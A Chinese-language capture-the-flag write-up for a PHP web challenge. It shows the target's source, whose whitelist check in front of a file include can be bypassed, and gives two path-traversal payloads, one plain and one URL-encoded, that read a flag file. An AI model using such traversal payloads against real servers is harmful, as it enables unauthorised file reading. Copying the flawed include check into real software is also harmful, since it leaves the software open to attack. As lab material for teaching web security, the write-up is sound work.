进到靶机一个硕大的滑稽,查看源码有提示source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
发现白名单有source.php和hint.php,先去查看一下hint.php
flag not here, and flag in ffffllllaaaagggg
分析源码
- 判断
$_REQUEST['file']
对象为空且为字符串 - 执行emmm类中的checkFile方法判断是否在白名单(确保函数返回是true)
- 文件包含
checkFile函数中字符串截取判断是否在白名单(代码17-24和26-34)所以有两种绕过方法。
- 第一种
file=hint.php?../../../../../ffffllllaaaagggg
字符串截取将原字符串尾部加上?
再截取第一个?
之前的内容。所以需要在构造payload时问号前需要是白名单里的文件。问号之后,猜测flag位置在根目录下,所以使用尽可能多的../
返回上级目录。
- 第二种
hint.php%3F..%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg
将第一种payload使用urlencode编码即可。